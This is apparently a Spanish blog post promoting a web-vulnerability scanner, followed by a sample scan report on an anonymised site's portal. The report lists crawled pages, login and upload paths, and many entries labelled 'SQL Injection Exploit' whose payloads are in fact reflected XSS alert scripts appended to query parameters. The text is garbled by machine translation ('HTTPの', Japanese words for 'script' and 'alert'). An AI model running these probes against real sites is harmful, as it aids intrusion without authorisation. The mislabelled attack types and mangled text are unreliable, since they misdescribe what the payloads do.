JAAScois AntiWebInjection

Este programa es muy sencillo de usar, primero lo descargamos de ここは o de su web oficial. Nos saca todas las webs y archivos que tiene un sitio web, y en ellos busca contraseñas o fallos, es super rapido y muy útil si quieres ver el contenido total de un sitio web.

Una vez instalado, simplemente lo ejecutamos y ponemos el sitio web a ‘investigar’, empezamos el escaneo y al finalizar nos sacará un report en un documento de texto como este (ここは):

Pages:
HTTPの://www.XXXXXX.com/portal/default.aspx
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx
HTTPの://www.XXXXXX.com/portal/portal.css
HTTPの://www.XXXXXX.com/portal/admin/cambiarClave.aspx
HTTPの://www.XXXXXX.com/portal
HTTPの://www.XXXXXX.com/portal/Docs/Docs.htm
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=1&tabid=42
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=2&tabid=37
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=3&tabid=68
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=4&tabid=39
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=5&tabid=41
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=6&tabid=46
HTTPの://www.XXXXXX.com/portal/RPSModules/webContactarForm.aspx?itemid=4&ModuleID=94
HTTPの://www.XXXXXX.com/portal/RPSModules/webContactarForm.aspx?itemid=5&ModuleID=94
HTTPの://www.XXXXXX.com/portal/Uploads/SolucionRPS/Campaña
HTTPの://www.XXXXXX.com/portal/
HTTPの://www.XXXXXX.com/portal/Docs/style.css
HTTPの://www.XXXXXX.com/portal/RPSModules/WebRecordarContrasenna.aspx
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=1&tabid=42&HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=0&tabid=9
HTTPの://www.XXXXXX.com/portal/Uploads/Clientes/VirreyExito.pdf
HTTPの://www.XXXXXX.com/portal/Uploads/Clientes/Casos
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=2&tabid=37&HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=3&tabid=68&HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=4&tabid=39&HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=5&tabid=41&HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=6&tabid=46&HacerLogin=1
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=0&tabid=9&HacerLogin=1

=>=>=>=>
Exploits:
SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?HacerLogin=<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=1&tabid=42<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=2&tabid=37<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=3&tabid=68<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=4&tabid=39<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=5&tabid=41<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=6&tabid=46<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/RPSModules/webContactarForm.aspx?itemid=<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/RPSModules/webContactarForm.aspx?itemid=4&ModuleID=94<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/RPSModules/webContactarForm.aspx?itemid=5&ModuleID=94<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

may be upload page
Req: 取得
HTTPの://www.XXXXXX.com/portal/Uploads/SolucionRPS/Campaña
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=1&tabid=42&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=0&tabid=9<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

may be upload page
Req: 取得
HTTPの://www.XXXXXX.com/portal/Uploads/Clientes/VirreyExito.pdf
More Info: HTTPの://www.jaascois.com

may be upload page
Req: 取得
HTTPの://www.XXXXXX.com/portal/Uploads/Clientes/Casos
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=2&tabid=37&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=3&tabid=68&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=4&tabid=39&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=5&tabid=41&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=6&tabid=46&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

エラー 404 page not found
Req: 取得
HTTPの://www.XXXXXX.com/portal/Uploads/SolucionRPS/Campaña
More Info: HTTPの://www.jaascois.com

エラー 404 page not found
Req: 取得
HTTPの://www.XXXXXX.com/portal/Docs/style.css
More Info: HTTPの://www.jaascois.com

SQL Injection Exploit
Req: 取得
HTTPの://www.XXXXXX.com/portal/DesktopDefault.aspx?tabindex=0&tabid=9&HacerLogin=1<スクリプト>アラート(‘hacking%20xss’)</スクリプト>
More Info: HTTPの://www.jaascois.com

エラー 404 page not found
Req: 取得
HTTPの://www.XXXXXX.com/portal/Uploads/Clientes/Casos
More Info: HTTPの://www.jaascois.com